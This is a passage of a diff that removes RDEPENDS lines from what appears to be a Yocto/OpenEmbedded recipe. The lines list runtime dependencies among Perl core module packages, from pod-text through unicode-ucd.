-RDEPENDS_perl-module-pod-text += "perl-module-vars"
-RDEPENDS_perl-module-pod-text += "perl-module-warnings"
-RDEPENDS_perl-module-pod-text-termcap += "perl-module-pod-text"
-RDEPENDS_perl-module-pod-text-termcap += "perl-module-posix"
-RDEPENDS_perl-module-pod-text-termcap += "perl-module-strict"
-RDEPENDS_perl-module-pod-text-termcap += "perl-module-term-cap"
-RDEPENDS_perl-module-pod-text-termcap += "perl-module-vars"
-RDEPENDS_perl-module-pod-text-termcap += "perl-module-warnings"
-RDEPENDS_perl-module-pod-usage += "perl-module-config"
-RDEPENDS_perl-module-pod-usage += "perl-module-exporter"
-RDEPENDS_perl-module-pod-usage += "perl-module-strict"
-RDEPENDS_perl-module-pod-usage += "perl-module-vars"
-RDEPENDS_perl-module-posix += "perl-module-exporter"
-RDEPENDS_perl-module-posix += "perl-module-fcntl"
-RDEPENDS_perl-module-posix += "perl-module-strict"
-RDEPENDS_perl-module-posix += "perl-module-tie-hash"
-RDEPENDS_perl-module-posix += "perl-module-warnings"
-RDEPENDS_perl-module-posix += "perl-module-xsloader"
-RDEPENDS_perl-module-re += "perl-module-exporter"
-RDEPENDS_perl-module-re += "perl-module-strict"
-RDEPENDS_perl-module-re += "perl-module-term-cap"
-RDEPENDS_perl-module-re += "perl-module-warnings"
-RDEPENDS_perl-module-re += "perl-module-xsloader"
-RDEPENDS_perl-module-safe += "perl-module-b"
-RDEPENDS_perl-module-safe += "perl-module-opcode"
-RDEPENDS_perl-module-safe += "perl-module-strict"
-RDEPENDS_perl-module-safe += "perl-module-utf8"
-RDEPENDS_perl-module-sdbm-file += "perl-module-exporter"
-RDEPENDS_perl-module-sdbm-file += "perl-module-strict"
-RDEPENDS_perl-module-sdbm-file += "perl-module-tie-hash"
-RDEPENDS_perl-module-sdbm-file += "perl-module-warnings"
-RDEPENDS_perl-module-sdbm-file += "perl-module-xsloader"
-RDEPENDS_perl-module-search-dict += "perl-module-exporter"
-RDEPENDS_perl-module-search-dict += "perl-module-feature"
-RDEPENDS_perl-module-search-dict += "perl-module-strict"
-RDEPENDS_perl-module-selfloader += "perl-module-exporter"
-RDEPENDS_perl-module-selfloader += "perl-module-io-handle"
-RDEPENDS_perl-module-selfloader += "perl-module-strict"
-RDEPENDS_perl-module-socket += "perl-module-exporter"
-RDEPENDS_perl-module-socket += "perl-module-strict"
-RDEPENDS_perl-module-socket += "perl-module-warnings-register"
-RDEPENDS_perl-module-socket += "perl-module-xsloader"
-RDEPENDS_perl-module-sort += "perl-module-strict"
-RDEPENDS_perl-module-storable += "perl-module-exporter"
-RDEPENDS_perl-module-storable += "perl-module-io-file"
-RDEPENDS_perl-module-storable += "perl-module-xsloader"
-RDEPENDS_perl-module-sub-util += "perl-module-exporter"
-RDEPENDS_perl-module-sub-util += "perl-module-list-util"
-RDEPENDS_perl-module-sub-util += "perl-module-strict"
-RDEPENDS_perl-module-sub-util += "perl-module-warnings"
-RDEPENDS_perl-module-sys-hostname += "perl-module-exporter"
-RDEPENDS_perl-module-sys-hostname += "perl-module-posix"
-RDEPENDS_perl-module-sys-hostname += "perl-module-strict"
-RDEPENDS_perl-module-sys-hostname += "perl-module-warnings"
-RDEPENDS_perl-module-sys-hostname += "perl-module-xsloader"
-RDEPENDS_perl-module-sys-syslog += "perl-module-config"
-RDEPENDS_perl-module-sys-syslog += "perl-module-constant"
-RDEPENDS_perl-module-sys-syslog += "perl-module-dynaloader"
-RDEPENDS_perl-module-sys-syslog += "perl-module-exporter"
-RDEPENDS_perl-module-sys-syslog += "perl-module-fcntl"
-RDEPENDS_perl-module-sys-syslog += "perl-module-file-basename"
-RDEPENDS_perl-module-sys-syslog += "perl-module-posix"
-RDEPENDS_perl-module-sys-syslog += "perl-module-socket"
-RDEPENDS_perl-module-sys-syslog += "perl-module-strict"
-RDEPENDS_perl-module-sys-syslog += "perl-module-sys-hostname"
-RDEPENDS_perl-module-sys-syslog += "perl-module-vars"
-RDEPENDS_perl-module-sys-syslog += "perl-module-warnings"
-RDEPENDS_perl-module-sys-syslog += "perl-module-warnings-register"
-RDEPENDS_perl-module-sys-syslog += "perl-module-xsloader"
-RDEPENDS_perl-module-tap-base += "perl-module-base"
-RDEPENDS_perl-module-tap-base += "perl-module-constant"
-RDEPENDS_perl-module-tap-base += "perl-module-strict"
-RDEPENDS_perl-module-tap-base += "perl-module-tap-object"
-RDEPENDS_perl-module-tap-base += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-base += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-base += "perl-module-posix"
-RDEPENDS_perl-module-tap-formatter-base += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-base += "perl-module-tap-formatter-color"
-RDEPENDS_perl-module-tap-formatter-base += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-color += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-color += "perl-module-constant"
-RDEPENDS_perl-module-tap-formatter-color += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-color += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-console-parallelsession += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-console-parallelsession += "perl-module-constant"
-RDEPENDS_perl-module-tap-formatter-console-parallelsession += "perl-module-file-path"
-RDEPENDS_perl-module-tap-formatter-console-parallelsession += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-console-parallelsession += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-console += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-console += "perl-module-posix"
-RDEPENDS_perl-module-tap-formatter-console += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-console += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-console-session += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-console-session += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-console-session += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-file += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-file += "perl-module-posix"
-RDEPENDS_perl-module-tap-formatter-file += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-file += "perl-module-tap-formatter-base"
-RDEPENDS_perl-module-tap-formatter-file += "perl-module-tap-formatter-file-session"
-RDEPENDS_perl-module-tap-formatter-file += "perl-module-tap-formatter-session"
-RDEPENDS_perl-module-tap-formatter-file += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-file-session += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-file-session += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-file-session += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-session += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-session += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-session += "perl-module-warnings"
-RDEPENDS_perl-module-tap-harness-env += "perl-module-constant"
-RDEPENDS_perl-module-tap-harness-env += "perl-module-strict"
-RDEPENDS_perl-module-tap-harness-env += "perl-module-tap-object"
-RDEPENDS_perl-module-tap-harness-env += "perl-module-text-parsewords"
-RDEPENDS_perl-module-tap-harness-env += "perl-module-warnings"
-RDEPENDS_perl-module-tap-harness += "perl-module-base"
-RDEPENDS_perl-module-tap-harness += "perl-module-file-path"
-RDEPENDS_perl-module-tap-harness += "perl-module-io-handle"
-RDEPENDS_perl-module-tap-harness += "perl-module-strict"
-RDEPENDS_perl-module-tap-harness += "perl-module-tap-formatter-file"
-RDEPENDS_perl-module-tap-harness += "perl-module-warnings"
-RDEPENDS_perl-module-tap-object += "perl-module-strict"
-RDEPENDS_perl-module-tap-object += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-aggregator += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-aggregator += "perl-module-benchmark"
-RDEPENDS_perl-module-tap-parser-aggregator += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-aggregator += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-grammar += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-grammar += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-grammar += "perl-module-tap-parser-resultfactory"
-RDEPENDS_perl-module-tap-parser-grammar += "perl-module-tap-parser-yamlish-reader"
-RDEPENDS_perl-module-tap-parser-grammar += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-iterator-array += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-iterator-array += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-iterator-array += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-iteratorfactory += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-iteratorfactory += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-iteratorfactory += "perl-module-file-basename"
-RDEPENDS_perl-module-tap-parser-iteratorfactory += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-iteratorfactory += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-iterator += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-iterator += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-iterator += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-iterator-process += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-iterator-process += "perl-module-config"
-RDEPENDS_perl-module-tap-parser-iterator-process += "perl-module-io-handle"
-RDEPENDS_perl-module-tap-parser-iterator-process += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-iterator-process += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-iterator-stream += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-iterator-stream += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-iterator-stream += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-multiplexer += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-multiplexer += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-multiplexer += "perl-module-io-select"
-RDEPENDS_perl-module-tap-parser-multiplexer += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-multiplexer += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser += "perl-module-base"
-RDEPENDS_perl-module-tap-parser += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-grammar"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-iterator"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-iteratorfactory"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-result"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-resultfactory"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-source"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-executable"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-file"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-handle"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-perl"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-rawtap"
-RDEPENDS_perl-module-tap-parser += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-bailout += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-bailout += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-bailout += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-comment += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-comment += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-comment += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-bailout"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-comment"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-plan"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-pragma"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-test"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-unknown"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-version"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-yaml"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-plan += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-plan += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-plan += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-pragma += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-pragma += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-pragma += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-test += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-test += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-test += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-unknown += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-unknown += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-unknown += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-version += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-version += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-version += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-yaml += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-yaml += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-yaml += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-scheduler-job += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-scheduler-job += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-scheduler += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-scheduler += "perl-module-tap-parser-scheduler-job"
-RDEPENDS_perl-module-tap-parser-scheduler += "perl-module-tap-parser-scheduler-spinner"
-RDEPENDS_perl-module-tap-parser-scheduler += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-scheduler-spinner += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-scheduler-spinner += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-sourcehandler-executable += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-sourcehandler-executable += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-sourcehandler-executable += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-sourcehandler-executable += "perl-module-tap-parser-iteratorfactory"
-RDEPENDS_perl-module-tap-parser-sourcehandler-executable += "perl-module-tap-parser-iterator-process"
-RDEPENDS_perl-module-tap-parser-sourcehandler-executable += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-sourcehandler-file += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-sourcehandler-file += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-sourcehandler-file += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-sourcehandler-file += "perl-module-tap-parser-iteratorfactory"
-RDEPENDS_perl-module-tap-parser-sourcehandler-file += "perl-module-tap-parser-iterator-stream"
-RDEPENDS_perl-module-tap-parser-sourcehandler-file += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-sourcehandler-handle += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-sourcehandler-handle += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-sourcehandler-handle += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-sourcehandler-handle += "perl-module-tap-parser-iteratorfactory"
-RDEPENDS_perl-module-tap-parser-sourcehandler-handle += "perl-module-tap-parser-iterator-stream"
-RDEPENDS_perl-module-tap-parser-sourcehandler-handle += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-sourcehandler += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-sourcehandler += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-sourcehandler += "perl-module-tap-parser-iterator"
-RDEPENDS_perl-module-tap-parser-sourcehandler += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-config"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-tap-parser-iteratorfactory"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-tap-parser-iterator-process"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-tap-parser-sourcehandler-executable"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-text-parsewords"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-sourcehandler-rawtap += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-sourcehandler-rawtap += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-sourcehandler-rawtap += "perl-module-tap-parser-iterator-array"
-RDEPENDS_perl-module-tap-parser-sourcehandler-rawtap += "perl-module-tap-parser-iteratorfactory"
-RDEPENDS_perl-module-tap-parser-sourcehandler-rawtap += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-source += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-source += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-source += "perl-module-file-basename"
-RDEPENDS_perl-module-tap-parser-source += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-source += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-yamlish-reader += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-yamlish-reader += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-yamlish-reader += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-yamlish-writer += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-yamlish-writer += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-yamlish-writer += "perl-module-warnings"
-RDEPENDS_perl-module-term-ansicolor += "perl-module-exporter"
-RDEPENDS_perl-module-term-ansicolor += "perl-module-strict"
-RDEPENDS_perl-module-term-ansicolor += "perl-module-warnings"
-RDEPENDS_perl-module-term-cap += "perl-module-strict"
-RDEPENDS_perl-module-term-cap += "perl-module-vars"
-RDEPENDS_perl-module-term-complete += "perl-module-exporter"
-RDEPENDS_perl-module-term-complete += "perl-module-strict"
-RDEPENDS_perl-module-term-readline += "perl-module-strict"
-RDEPENDS_perl-module-term-readline += "perl-module-term-cap"
-RDEPENDS_perl-module-test-builder-formatter += "perl-module-strict"
-RDEPENDS_perl-module-test-builder-formatter += "perl-module-warnings"
-RDEPENDS_perl-module-test-builder-module += "perl-module-exporter"
-RDEPENDS_perl-module-test-builder-module += "perl-module-strict"
-RDEPENDS_perl-module-test-builder-module += "perl-module-test-builder"
-RDEPENDS_perl-module-test-builder += "perl-module-data-dumper"
-RDEPENDS_perl-module-test-builder += "perl-module-overload"
-RDEPENDS_perl-module-test-builder += "perl-module-strict"
-RDEPENDS_perl-module-test-builder += "perl-module-test-builder-formatter"
-RDEPENDS_perl-module-test-builder += "perl-module-test-builder-tododiag"
-RDEPENDS_perl-module-test-builder += "perl-module-warnings"
-RDEPENDS_perl-module-test-builder-tester-color += "perl-module-strict"
-RDEPENDS_perl-module-test-builder-tester-color += "perl-module-test-builder-tester"
-RDEPENDS_perl-module-test-builder-tester += "perl-module-exporter"
-RDEPENDS_perl-module-test-builder-tester += "perl-module-strict"
-RDEPENDS_perl-module-test-builder-tester += "perl-module-test-builder"
-RDEPENDS_perl-module-test-builder-tododiag += "perl-module-strict"
-RDEPENDS_perl-module-test-builder-tododiag += "perl-module-warnings"
-RDEPENDS_perl-module-test-harness += "perl-module-base"
-RDEPENDS_perl-module-test-harness += "perl-module-config"
-RDEPENDS_perl-module-test-harness += "perl-module-constant"
-RDEPENDS_perl-module-test-harness += "perl-module-strict"
-RDEPENDS_perl-module-test-harness += "perl-module-tap-harness"
-RDEPENDS_perl-module-test-harness += "perl-module-tap-parser-aggregator"
-RDEPENDS_perl-module-test-harness += "perl-module-tap-parser-source"
-RDEPENDS_perl-module-test-harness += "perl-module-tap-parser-sourcehandler-perl"
-RDEPENDS_perl-module-test-harness += "perl-module-text-parsewords"
-RDEPENDS_perl-module-test-harness += "perl-module-warnings"
-RDEPENDS_perl-module-test-more += "perl-module-strict"
-RDEPENDS_perl-module-test-more += "perl-module-test-builder-module"
-RDEPENDS_perl-module-test-more += "perl-module-warnings"
-RDEPENDS_perl-module-test += "perl-module-exporter"
-RDEPENDS_perl-module-test += "perl-module-file-temp"
-RDEPENDS_perl-module-test += "perl-module-strict"
-RDEPENDS_perl-module-test-simple += "perl-module-strict"
-RDEPENDS_perl-module-test-simple += "perl-module-test-builder-module"
-RDEPENDS_perl-module-test-tester-capture += "perl-module-config"
-RDEPENDS_perl-module-test-tester-capture += "perl-module-strict"
-RDEPENDS_perl-module-test-tester-capture += "perl-module-test-builder"
-RDEPENDS_perl-module-test-tester-capture += "perl-module-threads-shared"
-RDEPENDS_perl-module-test-tester-capture += "perl-module-vars"
-RDEPENDS_perl-module-test-tester-capturerunner += "perl-module-exporter"
-RDEPENDS_perl-module-test-tester-capturerunner += "perl-module-strict"
-RDEPENDS_perl-module-test-tester-capturerunner += "perl-module-test-tester-capture"
-RDEPENDS_perl-module-test-tester-delegate += "perl-module-strict"
-RDEPENDS_perl-module-test-tester-delegate += "perl-module-vars"
-RDEPENDS_perl-module-test-tester-delegate += "perl-module-warnings"
-RDEPENDS_perl-module-test-tester += "perl-module-exporter"
-RDEPENDS_perl-module-test-tester += "perl-module-strict"
-RDEPENDS_perl-module-test-tester += "perl-module-test-builder"
-RDEPENDS_perl-module-test-tester += "perl-module-test-tester-capturerunner"
-RDEPENDS_perl-module-test-tester += "perl-module-test-tester-delegate"
-RDEPENDS_perl-module-test-tester += "perl-module-vars"
-RDEPENDS_perl-module-text-abbrev += "perl-module-exporter"
-RDEPENDS_perl-module-text-balanced += "perl-module-exporter"
-RDEPENDS_perl-module-text-balanced += "perl-module-overload"
-RDEPENDS_perl-module-text-balanced += "perl-module-selfloader"
-RDEPENDS_perl-module-text-balanced += "perl-module-strict"
-RDEPENDS_perl-module-text-balanced += "perl-module-vars"
-RDEPENDS_perl-module-text-parsewords += "perl-module-exporter"
-RDEPENDS_perl-module-text-parsewords += "perl-module-strict"
-RDEPENDS_perl-module-text-tabs += "perl-module-exporter"
-RDEPENDS_perl-module-text-tabs += "perl-module-strict"
-RDEPENDS_perl-module-text-tabs += "perl-module-vars"
-RDEPENDS_perl-module-text-wrap += "perl-module-exporter"
-RDEPENDS_perl-module-text-wrap += "perl-module-re"
-RDEPENDS_perl-module-text-wrap += "perl-module-strict"
-RDEPENDS_perl-module-text-wrap += "perl-module-text-tabs"
-RDEPENDS_perl-module-text-wrap += "perl-module-vars"
-RDEPENDS_perl-module-text-wrap += "perl-module-warnings-register"
-RDEPENDS_perl-module-thread += "perl-module-config"
-RDEPENDS_perl-module-thread += "perl-module-exporter"
-RDEPENDS_perl-module-thread += "perl-module-strict"
-RDEPENDS_perl-module-thread += "perl-module-threads"
-RDEPENDS_perl-module-thread += "perl-module-threads-shared"
-RDEPENDS_perl-module-thread += "perl-module-warnings"
-RDEPENDS_perl-module-thread-queue += "perl-module-strict"
-RDEPENDS_perl-module-thread-queue += "perl-module-threads-shared"
-RDEPENDS_perl-module-thread-queue += "perl-module-warnings"
-RDEPENDS_perl-module-thread-semaphore += "perl-module-strict"
-RDEPENDS_perl-module-thread-semaphore += "perl-module-threads-shared"
-RDEPENDS_perl-module-thread-semaphore += "perl-module-warnings"
-RDEPENDS_perl-module-threads += "perl-module-config"
-RDEPENDS_perl-module-threads += "perl-module-overload"
-RDEPENDS_perl-module-threads += "perl-module-strict"
-RDEPENDS_perl-module-threads += "perl-module-warnings"
-RDEPENDS_perl-module-threads += "perl-module-xsloader"
-RDEPENDS_perl-module-threads-shared += "perl-module-strict"
-RDEPENDS_perl-module-threads-shared += "perl-module-warnings"
-RDEPENDS_perl-module-threads-shared += "perl-module-xsloader"
-RDEPENDS_perl-module-tie-array += "perl-module-strict"
-RDEPENDS_perl-module-tie-file += "perl-module-fcntl"
-RDEPENDS_perl-module-tie-file += "perl-module-posix"
-RDEPENDS_perl-module-tie-file += "perl-module-strict"
-RDEPENDS_perl-module-tie-handle += "perl-module-tie-stdhandle"
-RDEPENDS_perl-module-tie-handle += "perl-module-warnings-register"
-RDEPENDS_perl-module-tie-hash-namedcapture += "perl-module-strict"
-RDEPENDS_perl-module-tie-hash-namedcapture += "perl-module-xsloader"
-RDEPENDS_perl-module-tie-hash += "perl-module-warnings-register"
-RDEPENDS_perl-module-tie-memoize += "perl-module-strict"
-RDEPENDS_perl-module-tie-memoize += "perl-module-tie-hash"
-RDEPENDS_perl-module-tie-refhash += "perl-module-config"
-RDEPENDS_perl-module-tie-refhash += "perl-module-overload"
-RDEPENDS_perl-module-tie-refhash += "perl-module-strict"
-RDEPENDS_perl-module-tie-refhash += "perl-module-tie-hash"
-RDEPENDS_perl-module-tie-refhash += "perl-module-vars"
-RDEPENDS_perl-module-tie-scalar += "perl-module-warnings-register"
-RDEPENDS_perl-module-tie-stdhandle += "perl-module-strict"
-RDEPENDS_perl-module-tie-stdhandle += "perl-module-tie-handle"
-RDEPENDS_perl-module-tie-substrhash += "perl-module-integer"
-RDEPENDS_perl-module-time-gmtime += "perl-module-exporter"
-RDEPENDS_perl-module-time-gmtime += "perl-module-strict"
-RDEPENDS_perl-module-time-gmtime += "perl-module-time-tm"
-RDEPENDS_perl-module-time-hires += "perl-module-exporter"
-RDEPENDS_perl-module-time-hires += "perl-module-strict"
-RDEPENDS_perl-module-time-hires += "perl-module-xsloader"
-RDEPENDS_perl-module-time-local += "perl-module-config"
-RDEPENDS_perl-module-time-local += "perl-module-constant"
-RDEPENDS_perl-module-time-local += "perl-module-exporter"
-RDEPENDS_perl-module-time-local += "perl-module-parent"
-RDEPENDS_perl-module-time-local += "perl-module-strict"
-RDEPENDS_perl-module-time-localtime += "perl-module-exporter"
-RDEPENDS_perl-module-time-localtime += "perl-module-strict"
-RDEPENDS_perl-module-time-localtime += "perl-module-time-tm"
-RDEPENDS_perl-module-time-piece += "perl-module-constant"
-RDEPENDS_perl-module-time-piece += "perl-module-exporter"
-RDEPENDS_perl-module-time-piece += "perl-module-integer"
-RDEPENDS_perl-module-time-piece += "perl-module-overload"
-RDEPENDS_perl-module-time-piece += "perl-module-strict"
-RDEPENDS_perl-module-time-piece += "perl-module-time-local"
-RDEPENDS_perl-module-time-piece += "perl-module-time-seconds"
-RDEPENDS_perl-module-time-piece += "perl-module-xsloader"
-RDEPENDS_perl-module-time-seconds += "perl-module-constant"
-RDEPENDS_perl-module-time-seconds += "perl-module-exporter"
-RDEPENDS_perl-module-time-seconds += "perl-module-overload"
-RDEPENDS_perl-module-time-seconds += "perl-module-strict"
-RDEPENDS_perl-module-time-tm += "perl-module-class-struct"
-RDEPENDS_perl-module-time-tm += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-big5 += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-big5 += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-cjk-gb2312 += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-gb2312 += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-cjk-jisx0208 += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-jisx0208 += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-cjk-korean += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-korean += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-cjk-pinyin += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-pinyin += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-cjk-stroke += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-stroke += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-cjk-zhuyin += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-zhuyin += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-locale += "perl-module-base"
-RDEPENDS_perl-module-unicode-collate-locale += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-locale += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate += "perl-module-constant"
-RDEPENDS_perl-module-unicode-collate += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate += "perl-module-xsloader"
-RDEPENDS_perl-module-unicode-normalize += "perl-module-exporter"
-RDEPENDS_perl-module-unicode-normalize += "perl-module-strict"
-RDEPENDS_perl-module-unicode-normalize += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-normalize += "perl-module-xsloader"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-charnames"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-exporter"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-feature"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-if"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-integer"
-RDEPENDS_perl-module-unicode-ucd += "perl-module-strict"
